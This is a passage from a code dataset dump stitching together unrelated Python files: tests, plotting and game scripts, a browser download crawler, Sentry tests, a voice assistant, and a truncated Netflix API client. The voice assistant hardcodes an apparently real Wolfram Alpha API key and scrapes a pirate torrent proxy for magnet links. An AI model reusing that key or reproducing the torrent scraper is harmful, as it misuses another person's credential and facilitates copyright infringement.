)\nsnowflake ( bob, 3**5 )\n\n\n\n\nwait_for_user()\n","sub_path":"chapter_5/Exercise_5-4.py","file_name":"Exercise_5-4.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"556286081","text":"import unittest\nfrom datetime import datetime, timedelta\nfrom time import sleep # so we can delay some operations\nfrom random import randint\nfrom backend.token_expiration_manager import TokenExpirationManager\n\ndef strip_milliseconds(datetimeObj):\n year, month, day = datetimeObj.year, datetimeObj.month, datetimeObj.day\n hour, minute, second = datetimeObj.hour, datetimeObj.minute, datetimeObj.second\n return datetime(year, month, day, hour, minute, second)\n\nclass TestTokenExpirationManager(unittest.TestCase):\n def test_add_token(self):\n # Tokens set to expire a minute after being added, give or take < 5 seconds\n manager = TokenExpirationManager(session_timeout=timedelta(minutes=1), expiration_proximity=timedelta(seconds=5))\n tokens = (\"t1\", \"t2\", \"t3\", \"t4\")\n for token in tokens:\n manager.add_token(token, token)\n for token in tokens:\n self.assertEqual(manager.get_token_object(token), token)\n\n # Test that the expiration times exist\n for token in tokens:\n # They should be datetime objects, not None\n self.assertIsNotNone(manager.get_expiration_time(token))\n\n # Test that the expiration proximity has been set to 5 seconds\n for token in tokens:\n self.assertEqual(manager.expiration_proximity.total_seconds(), 5)\n \n # Test that the actual expiration times have been set to a minute from now\n for token in tokens:\n minute_from_now = datetime.utcnow() + timedelta(minutes=1)\n expiration_time = manager.get_expiration_time(token)\n self.assertEqual(expiration_time.year, minute_from_now.year)\n self.assertEqual(expiration_time.month, minute_from_now.month)\n self.assertEqual(expiration_time.day, minute_from_now.day)\n self.assertEqual(expiration_time.hour, minute_from_now.hour)\n self.assertEqual(expiration_time.minute, minute_from_now.minute)\n self.assertEqual(expiration_time.second, minute_from_now.second)\n\n # Test that all the tokens exist in the same expiration group\n expiration_time = manager.get_expiration_time(\"t1\")\n self.assertEqual(len(manager.expirations[expiration_time]), 4)\n # Check that the tokens exist in the token_expiration_time dict\n for token in tokens:\n self.assertIn(token, manager.token_expiration_time)\n\n def test_update_expiration_time(self):\n manager = TokenExpirationManager(session_timeout=timedelta(seconds=3), expiration_proximity=timedelta(seconds=1))\n t1 = \"t1\"\n td3 = timedelta(seconds=3)\n manager.add_token(t1, t1)\n t1_expiration = strip_milliseconds(manager.get_expiration_time(t1))\n self.assertEqual(t1_expiration, strip_milliseconds(datetime.utcnow() + td3))\n\n # Now update the expiration time and check again\n manager.update_expiration_time(t1)\n self.assertEqual(strip_milliseconds(manager.get_expiration_time(t1)), strip_milliseconds(datetime.utcnow() + td3))\n \n # Wait 2 seconds, add another token and check that the two tokens are in different expiration groups\n t2 = \"t2\"\n print(\"\\nSleeping 2 seconds\")\n sleep(2)\n manager.add_token(t2, t2)\n exp_t1, exp_t2 = manager.get_expiration_time(t1), manager.get_expiration_time(t2)\n self.assertNotEqual(manager.get_expiration_time(t1), manager.get_expiration_time(t2))\n self.assertEqual(len(manager.expirations[exp_t1]), 1)\n self.assertEqual(len(manager.expirations[exp_t2]), 1)\n self.assertEqual(len(manager.expirations), 2)\n # Add another token, its expiration time should be the same as t2\n t3 = \"t3\"\n manager.add_token(t3, t3)\n self.assertEqual(len(manager.expirations[exp_t1]), 1)\n self.assertEqual(len(manager.expirations[exp_t2]), 2) \n # Now sleep half a second and add another token. It should still be in the same group as t2 and t3\n print(\"Sleeping 0.5 seconds\")\n sleep(0.5)\n t4 = \"t4\"\n manager.add_token(t4, t4)\n self.assertEqual(len(manager.expirations[exp_t2]), 3)\n # Wait 1 second and update t2's expiration time. It should move to its own new set\n print(\"Sleeping 1 second\")\n sleep(1)\n manager.update_expiration_time(t2)\n t2_exp = manager.get_expiration_time(t2)\n self.assertEqual(strip_milliseconds(t2_exp), strip_milliseconds(datetime.utcnow() + timedelta(seconds=3)))\n self.assertEqual(len(manager.expirations[t2_exp]), 1)\n self.assertEqual(len(manager.expirations[manager.get_expiration_time(t3)]), 2)\n # Assert that t2_exp is equal to the value stored in the token_expiration_time dict\n self.assertEqual(manager.token_expiration_time[t2], t2_exp)\n\n def test_get_token_object(self):\n manager = TokenExpirationManager(session_timeout=timedelta(seconds=3), expiration_proximity=timedelta(seconds=1)) \n t1 = \"t1\"\n manager.add_token(t1, {})\n t1_exp = manager.get_expiration_time(t1) # First expiration time\n # Now wait 1 second and then get the object\n print(\"\\nSleeping 1 second\")\n sleep(1)\n t1_obj = manager.get_token_object(t1)\n self.assertEqual(t1_obj, {})\n self.assertNotEqual(manager.get_expiration_time(t1), t1_exp)\n # Check that the expiration time was updated\n new_exp = strip_milliseconds(manager.get_expiration_time(t1))\n self.assertEqual(new_exp, strip_milliseconds(datetime.utcnow() + timedelta(seconds=3)))\n\n def test_expire_token(self):\n # Test manual token removal\n manager = TokenExpirationManager(session_timeout=timedelta(seconds=2), expiration_proximity=timedelta(seconds=1))\n t1 = \"t1\"\n manager.add_token(t1, t1)\n sleep(0.1)\n manager.expire_token(t1)\n self.assertEqual(len(manager.tokens), 0)\n self.assertEqual(len(manager.token_expiration_time), 0)\n # Add two tokens and expire one\n t2 = \"t2\"\n manager.add_token(t1, t1)\n manager.add_token(t2, t2)\n # Expire t1\n manager.expire_token(t1)\n self.assertEqual(len(manager.tokens), 1)\n self.assertEqual(len(manager.token_expiration_time), 1)\n self.assertEqual(len(manager.expirations), 1)\n self.assertIsNone(manager.get_token_object(t1))\n # Add more. They should all still be in the same group as t1\n t3, t4, t5 = \"t3\", \"t4\", \"t5\"\n manager.add_token(t3, t3)\n manager.add_token(t4, t4)\n manager.add_token(t5, t5)\n t5_exp = manager.get_expiration_time(t5)\n self.assertEqual(len(manager.expirations[t5_exp]), 4)\n manager.expire_token(t4)\n self.assertEqual(len(manager.expirations[t5_exp]), 3)\n self.assertIsNone(manager.get_token_object(t4))\n\n def test_purge_expired_tokens(self):\n # Test the mass expiration of entire groups of tokens\n manager = TokenExpirationManager(session_timeout=timedelta(seconds=2), expiration_proximity=timedelta(seconds=1))\n # Add 1000 tokens\n for i in range(1000):\n token = \"token_{}\".format(i)\n manager.add_token(token, token)\n # Wait 3 seconds and then call the purging method\n print(\"\\nSleeping 3 seconds\")\n sleep(3)\n manager.purge_expired_tokens()\n self.assertEqual(len(manager.tokens), 0)\n self.assertEqual(len(manager.expirations), 0)\n self.assertEqual(len(manager.token_expiration_time), 0)\n # Now add several thousand more in separate waves\n for i in range(10):\n for x in range(randint(1000, 10000)):\n token = \"token_{}_{}\".format(i, x)\n manager.add_token(token, token)\n print(\"Added {} tokens. Sleeping 1 second\".format(x + 1))\n sleep(1)\n # Now after purging we should have 1 group left. That group didn't have enough time to expire\n self.assertEqual(len(manager.expirations), 10)\n manager.purge_expired_tokens()\n self.assertEqual(len(manager.expirations), 1)\n # Now wait another second and purge again\n sleep(1)\n manager.purge_expired_tokens()\n self.assertEqual(len(manager.expirations), 0)\n self.assertEqual(len(manager.tokens), 0)\n self.assertEqual(len(manager.token_expiration_time), 0)\n","sub_path":"test/test_token_manager.py","file_name":"test_token_manager.py","file_ext":"py","file_size_in_byte":8421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"191829811","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom chaco.default_colormaps import summer\n\nfont = {'size':20}\nmatplotlib.rc('font', **font)\n\ndata = np.load('../../data/PSIIRC_photocell_MRT_transient_dynamics_channel_blockade_data.npz')#np.load('../../data/PSIIRC_photocell_transient_dynamics_77K.npz')#\ntime = data['time']\ndynamics = data['dynamics']\nexcitation_rates = data['excitation_rates']\nF2 = data['F2']\n\nexcitation_rate_idx = 0\n\nlabels = ['g', 'X1', 'X2', 'X3', 'X4', 'X5', 'X6', 'CT1', 'CT2', 'empty']\n# \n# for i in range(10):\n# plt.plot(time, dynamics[excitation_rate_idx,i], label=labels[i], linewidth=2, ls='--' if i > 6 else '-')\n\nsummed_populations = np.zeros((4, time.size))\nsummed_populations[0] = np.sum(dynamics[excitation_rate_idx,[1,3,4,6],:], axis=0)\nsummed_populations[1] = np.sum(dynamics[excitation_rate_idx,[2,5],:], axis=0)\nsummed_populations[2] = dynamics[excitation_rate_idx,7,:]\nsummed_populations[3] = dynamics[excitation_rate_idx,8,:]\n\nsum_pop_labels = ['D1+sp', 'D2', 'CT1', 'CT2']\n\nplt.figure(num=1, figsize=(12,12), dpi=100)\n\nfor i in range(4):\n plt.plot(time, summed_populations[i], label=sum_pop_labels[i], linewidth=2)\n\nplt.text(0.2, 0.475, 'excitation rate = '+str(excitation_rates[excitation_rate_idx])+r'cm$^{-1}$')\nplt.text(0.2, 0.45, r'F2(0) = '+str(\"{:.3f}\".format(F2[excitation_rate_idx])))\nplt.xlabel('time (ps)')\nplt.ylabel('populations')\nplt.ylim(0,0.5)\nplt.xlim(0,15)\nplt.legend(fontsize=16).draggable()\n\ninset_x_pos = 0.34 if excitation_rate_idx==1 else 0.28\ninset_y_pos = 0.22 if excitation_rate_idx==1 else 0.48\na = plt.axes([inset_x_pos, inset_y_pos, 0.28, 0.25])\nplt.plot(time, summed_populations[3], linewidth=2, color='c')\nplt.xlim(0,15)\nplt.xlabel('time (ps)', fontsize=12)\nplt.ylabel('secondary CT population', fontsize=12)\nplt.xticks(range(0,16,2), fontsize=12)\nplt.yticks([0, 0.0005, 0.001, 0.0015, 0.002], fontsize=12)\n\n\nplt.show()","sub_path":"PSIIRC_photocell_counting_statistics/plots/scripts/MRT_transient_dynamics_channel_blockade.py","file_name":"MRT_transient_dynamics_channel_blockade.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289857173","text":"# Modified a Random Code off the internet for Marriage!\n# OldMaven\n# Sept 26, 2010\n\nimport random\n\ndef new_deck():\n \"\"\"\n create a deck of cards\n suit: club=C, diamond=D, heart=H spade=S\n rank: ace=A, 10=T, jack=J, queen=Q, king=K, numbers=2..9\n ace of spade would be AS, 8 of heart would be 8H and so on\n return a list of a full deck of cards\n \"\"\"\n rs = [rank + suit for rank in \"A23456789TJQK\" for suit in \"CDHS\"]\n return rs * 3\n\ndef draw_cards(n, cards_list):\n \"\"\"\n randomly draw n cards from the deck (cards_list)\n remove those cards from the deck\n since object cards_list is by reference, it will change too\n return a list of n cards\n \"\"\"\n random.shuffle(cards_list)\n return [cards_list.pop() for k in range(n)]\n\n# new deck\ncards_list = new_deck()\nhand = [0,0,0,0,0,0] # Six Players Max\n\nprint(\"3 Decks for Marriage = %s cards\" % cards_list)\nprint(\"Total Cards = %s cards\" % len(cards_list)) # test\n# draw n cards per hand\nn = 21\n# draw the hands\nnum_of_players = input(\"How many players do we have? \")\nfor i in range(0, num_of_players):\n hand[i] = draw_cards(n, cards_list)\n\n\nprint('-'*80)\nfor j in range(0, num_of_players):\n print(\"hand[\" + str(j) + \"] = %s\" % hand[j])\nprint('-'*80)\n\nprint(\"Remaining Cards = %s cards\" % cards_list)\nprint(\"Remaining Cards = %s cards\" % len(cards_list)) # test\n\n","sub_path":"Python Proof-Of-Concept/Marriage.py","file_name":"Marriage.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"631983271","text":"from .WebCrawlerSettings import *\n\n#main variables\nname = \"Mozilla Firefox\"\nurl = \"https://www.mozilla.org/en-US/firefox/organizations/all/\"\n\n##################################################\n#define main settings\nfind_dllink = False\nfind_dllink_x86 = True\nfind_dllink_x64 = True\n\nfind_checksum = False\nfind_checksum_x86 = True\nfind_checksum_x64 = True\n\nchecksum_type = \"SHA256\"\n\nNew_App = False\n#################################\n\ndef crawl_data(url):\n req = Request(url=url, headers=headers)\n page_html = uReq(req).read()\n page_soup = soup(page_html, \"html.parser\")\n\n return page_soup\n\n#######################################\n\ndef crawl_version(data):\n\n versions_list = []\n\n repElemList = data.findAll(\"html\", class_=\"windows x86 no-js\")\n\n for repElem in repElemList:\n repElemID = repElem.get('data-latest-firefox')\n versions_list.append(repElemID)\n\n return versions_list\n\n################################################################\n\ndef crawl_dllink_x86(version, data):\n dllink_x86 = \"https://download-installer.cdn.mozilla.net/pub/firefox/releases/\" + version + \"/win32/en-US/Firefox Setup \" + version + \".msi\"\n\n return dllink_x86\n#########################################################\ndef crawl_dllink_x64(version, data):\n dllink_x64 = \"https://download-installer.cdn.mozilla.net/pub/firefox/releases/\"+ version + \"/win64/en-US/Firefox Setup \" + version + \".msi\"\n\n return dllink_x64\n########################################################\n\ndef crawl_checksum_x86(version, data):\n url = \"http://releases.mozilla.org/pub/firefox/releases/\" + version + \"/SHA256SUMS\"\n\n req = Request(url=url, headers=headers)\n page_html = uReq(req).read()\n page_soup = soup(page_html, \"html.parser\")\n\n lines = str(page_soup).split(\"\\n\")\n\n for line in lines:\n if \"win32/en-US/Firefox Setup \" + version + \".msi\" in line:\n checksum_32_en_US = line.split(\" \")[0]\n checksum_32_en_US = checksum_32_en_US.strip()\n if \"win64/en-US/Firefox Setup \" + version + \".msi\" in line:\n checksum_64_en_US = line.split(\" \")[0]\n\n return checksum_32_en_US\n#########################################################\n\ndef crawl_checksum_x64(version, data):\n url = \"http://releases.mozilla.org/pub/firefox/releases/\" + version + \"/SHA256SUMS\"\n\n req = Request(url=url, headers=headers)\n page_html = uReq(req).read()\n page_soup = soup(page_html, \"html.parser\")\n\n lines = str(page_soup).split(\"\\n\")\n\n for line in lines:\n if \"win32/en-US/Firefox Setup \" + version + \".msi\" in line:\n checksum_32_en_US = line.split(\" \")[0]\n if \"win64/en-US/Firefox Setup \" + version + \".msi\" in line:\n checksum_64_en_US = line.split(\" \")[0]\n checksum_64_en_US = checksum_64_en_US.strip()\n\n return checksum_64_en_US\n#########################################################\n","sub_path":"crawlers/MozillaFirefox.py","file_name":"MozillaFirefox.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"296041224","text":"from werkzeug.test import Client\nimport pytest\n\nfrom sentry_sdk import Hub\n\nfrom sentry_sdk.integrations.wsgi import SentryWsgiMiddleware, _ScopePoppingResponse\n\n\n@pytest.fixture\ndef crashing_app():\n def app(environ, start_response):\n 1 / 0\n\n return app\n\n\ndef test_basic(sentry_init, crashing_app, capture_events):\n sentry_init(send_default_pii=True)\n app = SentryWsgiMiddleware(crashing_app)\n client = Client(app)\n events = capture_events()\n\n with pytest.raises(ZeroDivisionError):\n client.get(\"/\")\n\n event, = events\n\n assert event[\"request\"] == {\n \"env\": {\"SERVER_NAME\": \"localhost\", \"SERVER_PORT\": \"80\"},\n \"headers\": {\"Content-Length\": \"0\", \"Content-Type\": \"\", \"Host\": \"localhost\"},\n \"method\": \"GET\",\n \"query_string\": \"\",\n \"url\": \"http://localhost/\",\n }\n\n\ndef test_calls_close():\n hub = Hub.current\n stack_size = len(hub._stack)\n closes = []\n\n hub.push_scope()\n\n class Foo(object):\n def __iter__(self):\n yield 1\n yield 2\n yield 3\n\n def close(self):\n closes.append(1)\n\n response = _ScopePoppingResponse(hub, Foo())\n list(response)\n response.close()\n response.close()\n response.close()\n\n # multiple close calls are just forwarded, but the scope is only popped once\n assert len(closes) == 3\n assert len(hub._stack) == stack_size\n","sub_path":"tests/integrations/wsgi/test_wsgi.py","file_name":"test_wsgi.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"482912958","text":"import speech_recognition as sr\nimport webbrowser #opening web\nimport wolframalpha #mathematical operations\nimport time\nimport os #file handling\nimport pyperclip #clipping\nimport wikipedia\nimport win32com.client as wincl\nfrom datetime import datetime\nimport pafy\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport sys\n#import pyttsx3 as tts #text to speech_recognition\nv=wincl.Dispatch(\"SAPI.SpVoice\")\ncl=wolframalpha.Client('YVH8AY-R8H93LQAJ2')\natt=cl.query('Test/Attempt')\nr=sr.Recognizer()\nr.pause_threshold=0.7\nr.energy_threshold=500\nshell=wincl.Dispatch(\"WScript.Shell\")\n#v.Speak('Hello! For a list of commands, please say \"Keyword list\"...')\nv.Speak('At your service Sir!')\n#print('Hello! For a list of commands, please say \"Keyword list\"...')\n\n#List of commands\ngoogle = 'search for'\nyoutube='search YouTube for'\nacad = 'academic search'\nwkp = 'wiki results for'\nrdds = 'read the copied text'\nt='what is the time'\nd='what is the date'\nsay='say'\ncopy='copy the text'\nsav = 'save the text'\nbkmk = 'bookmark this page'\nvid = 'video for'\nwtis = 'what is'\nwtar = 'what are'\nwhis = 'who is'\nwhws = 'who was'\nwhen = 'when'\nwhere = 'where'\nhow = 'how'\nlsp = 'silence please'\nlsc = 'resume listening'\nstoplst = 'stop listening'\nsc = 'deep search'\ncalc='calculate'\nkeywd='keyword list'\ncalculat='open calculator'\npaint = 'open paint'\nplaymusic='play'\ndlmusic='download song'\ndlvideo='download video'\nmgntlink='magnet link for'\n\n\nwhile True:\n with sr.Microphone() as source:\n try:\n v.Speak(\"How can I help you today?\")\n print(\"Waiting for your command\")\n audio = r.listen(source, timeout=None)\n message = str(r.recognize_google(audio))\n print('You said: ' + message)\n if google in message:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n print('Google results for: '+str(st))\n url='https://google.com/search?q='+st\n webbrowser.open(url)\n v.Speak('Google Results for: '+str(st))\n elif mgntlink in message:\n words=message.split()\n del words[0:3]\n st=' '.join(words)\n query=str(st)\n url='https://pirateproxy.mx/search/'+query+'/0/99/0'\n print(\"Searching......\")\n source=requests.get(url).text\n soup=bs(source,'lxml')\n results=soup.find_all('div',class_='detName')\n i=1\n for r in results:\n print(i,r.text)\n i=i+1\n print(\"Enter the Serial Number of the search item you like to download: \")\n v.Speak(\"Enter the Serial Number of the search item you like to download: \")\n choice=int(input())\n print (\"Fetching data.....\")\n v.Speak (\"Fetching data.....\")\n magnet_results=soup.find_all('a',title='Download this torrent using magnet')\n a=[]\n for m in magnet_results:\n a.append(m['href'])\n magnet_link=(a[choice-1])\n print(\"Magnet Link of your selected choice has been fetched.\")\n pyperclip.copy(magnet_link)\n v.Speak (\"Your magnet link is now in your clipboard.\")\n elif acad in message:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n print('Academic results for: '+str(st))\n url='https://scholar.google.com/scholar?q='+st\n webbrowser.open(url)\n v.Speak('Academic Results for: '+str(st))\n elif wkp in message:\n try:\n words=message.split()\n del words[0:3]\n st=' '.join(words)\n wkpres=wikipedia.summary(st,sentences=2)\n try:\n print('\\n'+str(wkpres)+'\\n')\n v.Speak(wkpres)\n except UnicodeEncodeError:\n v.Speak(\"Sorry! Please try searching again\")\n except wikipedia.exceptions.DisambiguationError as e:\n print(e.options)\n v.Speak(\"Too many results for this keyword. Please be more specific and retry\")\n continue\n except wikipedia.exceptions.PageError as e:\n print(\"This page doesn't exist\")\n v.Speak(\"No results found for: \"+str(st))\n continue\n elif rdds in message:\n print('Reading your text')\n words=message.split()\n del words[0:4]\n v.Speak(pyperclip.paste())\n\n elif say in message:\n words=message.split()\n del words[0:1]\n st=' '.join(words)\n print(\"Repeating the text: \"+str(st))\n v.Speak('Alright, Saying..: '+ str(st))\n elif copy in message:\n words=message.split()\n del words[0:3]\n st=' '.join(words)\n pyperclip.copy(st)\n print(\"The text \"+str(st)+\" is now copied to clipboard!\")\n v.Speak('The text ..'+str(st)+' is now in your clipboard... Happy Pasting!')\n elif youtube in message:\n words=message.split()\n del words[0:3]\n st=' '.join(words)\n print(\"Searching for \"+str(st)+\" on Youtube\")\n url='https://www.youtube.com/results?search_query='+str(st)\n webbrowser.open(url)\n v.Speak('Youtube Search results for: '+str(st))\n elif vid in message:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n print(\"Searching for \"+str(st)+\" on Youtube\")\n url='https://www.youtube.com/results?search_query='+str(st)\n webbrowser.open(url)\n v.Speak('Youtube Search results for: '+str(st))\n elif t in message:\n c=time.ctime()\n words=c.split()\n v.Speak(\"The time is: \"+str(words[3]))\n elif d in message:\n c=time.ctime()\n words=c.split()\n v.Speak(\"Today, it is\"+words[2]+words[1]+words[4])\n elif sc in message:\n try:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n scq=cl.query(st)\n sca=next(scq.results).text\n print('The answer is: '+str(sca))\n url='https://www.wolframalpha.com/input/?i='+str(st)\n v.Speak('The answeris: '+str(sca))\n except StopIteration:\n print('Your question is ambiguous. Please try with another keyword!')\n v.Speak('Your question is ambiguous. Please try with another keyword!')\n except Exception as e:\n print(e)\n v.Speak(e)\n else:\n v.Speak(\"I'm always correct\")\n\n elif calc in message:\n try:\n words=message.split()\n del words[0:1]\n st=' '.join(words)\n scq=cl.query(st)\n sca=next(scq.results).text\n print('The answer is: '+str(sca))\n url='https://www.wolframalpha.com/input/?i='+str(st)\n v.Speak('The answer is: '+str(sca))\n except StopIteration:\n print('Your question is ambiguous. Please try with another keyword!')\n v.Speak('Your question is ambiguous. Please try with another keyword!')\n except Exception as e:\n print(e)\n v.Speak(e)\n else:\n v.Speak(\"I'm always correct\")\n elif paint in message:\n os.system('mspaint')\n elif sav in message:\n print('Saving your text to file')\n with open('path to your text file','a') as f:\n f.write(pyperclip.paste())\n v.Speak('File is successfully saved')\n elif bkmk in message:\n shell.SendKeys(\"^d\")\n v.Speak(\"Alright, Page Bookmarked!\")\n elif calculat in message:\n os.system('calc')\n elif 'open' in message:\n words=message.split()\n del words [0:1]\n st=' '.join(words)\n if 'telegram' in str(st):\n print('Opening Telegram')\n v.Speak('Opening Telegram')\n os.startfile(r'''C:\\Users\\asus1\\AppData\\Roaming\\Telegram Desktop\\Telegram.exe''')\n elif 'Chrome' in str(st):\n print('Opening Chrome')\n v.Speak('Opening Chrome')\n os.startfile(r'''C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe''')\n elif wtis in message:\n try:\n scq=cl.query(message)\n sca=next(scq.results).text\n print('The answer is: '+str(sca))\n #url='https://www.wolframalpha.com/input/?i='+st\n #webbrowser.open(url)\n v.Speak('The answer is: '+str(sca))\n except UnicodeEncodeError:\n v.Speak('The answer is: '+str(sca))\n except StopIteration:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n print('Google results for: '+str(st))\n url='https://google.com/search?q='+st\n webbrowser.open(url)\n elif whis in message:\n try:\n scq=cl.query(message)\n sca=next(scq.results).text\n print('\\nThe answer is: '+str(sca)+'\\n')\n v.Speak('The answer is: '+str(sca))\n except StopIteration:\n try:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n wkpres=wikipedia.summary(st,sentences=2)\n print('\\n'+str(wkpres)+'\\n')\n v.Speak(wkpres)\n except UnicodeEncodeError:\n v.Speak(wkpres)\n except:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n print('Google results for: '+str(st))\n url='https://google.com/search?q='+st\n webbrowser.open(url)\n v.Speak('Google Results for: '+str(st))\n elif wtar in message:\n try:\n scq=cl.query(message)\n sca=next(scq.results).text\n print('The answer is: '+str(sca))\n v.Speak('The answer is: '+str(sca))\n except UnicodeEncodeError:\n v.Speak('The answer is: '+str(sca))\n except StopIteration:\n words=message.split()\n del words[0:2]\n st=' '.join(words)\n print('Google results for: '+str(st))\n url='https://google.com/search?q='+st\n webbrowser.open(url)\n elif playmusic in message:\n words=message.split()\n del words[0:1]\n song_name=str(' '.join(words))\n base = \"https://www.youtube.com/results?search_query=\"\n r = requests.get(base+song_name)\n page = r.text\n soup=bs(page,'html.parser')\n vids = soup.findAll('a',attrs={'class':'yt-uix-tile-link'})\n videolist=[]\n for v in vids:\n tmp = 'https://www.youtube.com' + v['href']\n videolist.append(tmp)\n v = pafy.new(videolist[0])\n song=str(v.title)\n print('Checking for best available quality: '+song)\n best=v.getbest(preftype=\"webm\")\n best_url=best.url\n webbrowser.open(best_url)\n elif dlvideo in message:\n words=message.split()\n del words[0:2]\n song_name=str(' '.join(words))\n base = \"https://www.youtube.com/results?search_query=\"\n r = requests.get(base+song_name)\n page = r.text\n soup=bs(page,'html.parser')\n vids = soup.findAll('a',attrs={'class':'yt-uix-tile-link'})\n videolist=[]\n for v in vids:\n tmp = 'https://www.youtube.com' + v['href']\n videolist.append(tmp)\n v = pafy.new(videolist[0])\n song=str(v.title)\n print('Checking for best available video quality for: '+song)\n best=v.getbest()\n best.download(quiet=False)\n\n elif dlmusic in message:\n words=message.split()\n del words[0:2]\n song_name=str(' '.join(words))\n base = \"https://www.youtube.com/results?search_query=\"\n r = requests.get(base+song_name)\n page = r.text\n soup=bs(page,'html.parser')\n vids = soup.findAll('a',attrs={'class':'yt-uix-tile-link'})\n videolist=[]\n for v in vids:\n tmp = 'https://www.youtube.com' + v['href']\n videolist.append(tmp)\n v = pafy.new(videolist[0])\n song=str(v.title)\n print('Checking for best available audio quality for: '+song)\n best=v.getbestaudio()\n best.download()\n\n\n elif keywd in message:\n print('')\n print('Say \" ' + google + ' \" to return a Google search')\n print('Say \" ' + acad + ' \" to return a Google scholar search')\n print('Say \" ' + sc + ' \" to return a wolframalpha query')\n print('Say \" ' + wkp + ' \" to return a wikipedia page')\n print('Say \" ' + rdds + ' \" to read the text you have highlighted and Ctrl + C (Copied to clipboard)')\n print('Say \" ' + sav + ' \" to read the save you have highlighted and Ctrl + C-ed (Copied to clipboard) to a file')\n print('Say \" ' + bkmk + ' \" to bookmark the current page')\n print('Say \" ' + vid + ' \" to return the video results for the query')\n print(\"For more general questions, ask them normally and i will do my best to find a appropriate answer for you!\")\n print('Say '+stoplst+' to shut down')\n print('')\n# print('Say \" ' + book + ' \" to return an Amazon Book Search')\n\n except:\n break\n finally:\n break\n","sub_path":"va.py","file_name":"va.py","file_ext":"py","file_size_in_byte":15405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"519894070","text":"#create bullet\ndef shoot_bullet():\n \n playerx = player.xcor()\n \n bullet = turtle.Turtle()\n bullet.setposition(playerx, -250)\n bullet.color(\"white\")\n bullet.shape(\"circle\")\n bullet.penup()\n bullet.speed(0)\n \n bullet.setheading(90)\n\n #bullet move\n bulletx = bullet.xcor()\n bullety = bullet.ycor()\n bulletspeed = 5\n\n while bullety < 300:\n bullety += bulletspeed\n bullet.sety(bullety)\n if bullety == 300:\n bullet.reset()\n\n \n #bullet hit\n if bullety == 250:\n enemy.reset()\n bullet.reset()\n print(\"hit\") \n","sub_path":"pythonPractice/space invadors/bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"365039792","text":"#!/usr/bin/env python\n\n\"\"\" Python-Netflix \"\"\"\n'''\nFor Netflix API documentation, visit: http://developer.netflix.com/docs\n'''\n\n__author__ = 'Mike Helmick <mikehelmick@me.com>'\n__version__ = '0.1.1'\n\nimport urllib\nimport httplib2\nimport oauth2 as oauth\n\ntry:\n from urlparse import parse_qsl\nexcept ImportError:\n from cgi import parse_qsl\n\ntry:\n import simplejson as json\nexcept ImportError:\n try:\n import json\n except ImportError:\n try:\n from django.utils import simplejson as json\n except ImportError:\n raise ImportError('A json library is required to use this python library. Lol, yay for being verbose. ;)')\n\n\nclass NetflixAPIError(Exception): pass\nclass NetflixAuthError(NetflixAPIError): pass\n\n\nclass NetflixAPI(object):\n def __init__(self, api_key=None, api_secret=None, oauth_token=None, oauth_token_secret=None, callback_url=None, headers=None, client_args=None):\n if not api_key or not api_secret:\n raise NetflixAPIError('Please supply an api_key and api_secret.')\n\n self.api_key = api_key\n self.api_secret = api_secret\n self.oauth_token = oauth_token\n self.oauth_token_secret = oauth_token_secret\n self.callback_url = callback_url\n\n self.request_token_url = 'http://api.netflix.com/oauth/request_token'\n self.access_token_url = 'http://api.netflix.com/oauth/access_token'\n self.authorize_url = 'https://api-user.netflix.com/oauth/login'\n\n self.api_base = 'http://api-public.netflix.com/'\n\n self.headers = headers\n if self.headers is None:\n self.headers = {'User-agent': 'Python-Netflix v%s' % __version__}\n\n self.consumer = None\n self.token = None\n\n client_args = client_args or {}\n\n if self.api_key is not None and self.api_secret is not None:\n self.consumer = oauth.Consumer(self.api_key, self.api_secret)\n\n if self.oauth_token is not None and self.oauth_token_secret is not None:\n self.token = oauth.Token(oauth_token, oauth_token_secret)\n\n # Filter down through the possibilities here - if they have a token, if they're first stage, etc.\n if self.consumer is not None and self.token is not None:\n self.client = oauth.Client(self.consumer, self.token, **client_args)\n elif self.consumer is not None:\n self.client = oauth.Client(self.consumer, **client_args)\n else:\n # If they don't do authentication, but still want to request unprotected resources, we need an opener.\n self.client = httplib2.Http(**client_args)\n\n def get_authentication_tokens(self):\n \"\"\" Returns an authentication tokens, which includes an 'auth_url' for the user to hit.\n \"\"\"\n\n request_args = {}\n resp, content = self.client.request('%s?oauth_callback=%s' % (self.request_token_url, self.callback_url), 'GET', **request_args)\n\n if resp['status'] != '200':\n raise NetflixAuthError('There was a problem retrieving an authentication url.')\n\n request_tokens = dict(parse_qsl(content))\n\n auth_url_params = {\n 'oauth_token': request_tokens['oauth_token'],\n 'oauth_callback': self.callback_url,\n 'oauth_consumer_key': self.api_key,\n }\n\n request_tokens['auth_url'] = '%s?%s' % (self.authorize_url, urllib.urlencode(auth_url_params))\n return request_tokens\n\n def get_auth_tokens(self, oauth_verifier=None):\n \"\"\" Returns 'final' tokens to store and used to make authorized calls to Netflix.\n \"\"\"\n\n if not oauth_verifier:\n raise NetflixAuthError('No OAuth Verifier supplied.')\n\n params = {\n 'oauth_verifier': oauth_verifier,\n }\n\n resp, content = self.client.request('%s?%s' % 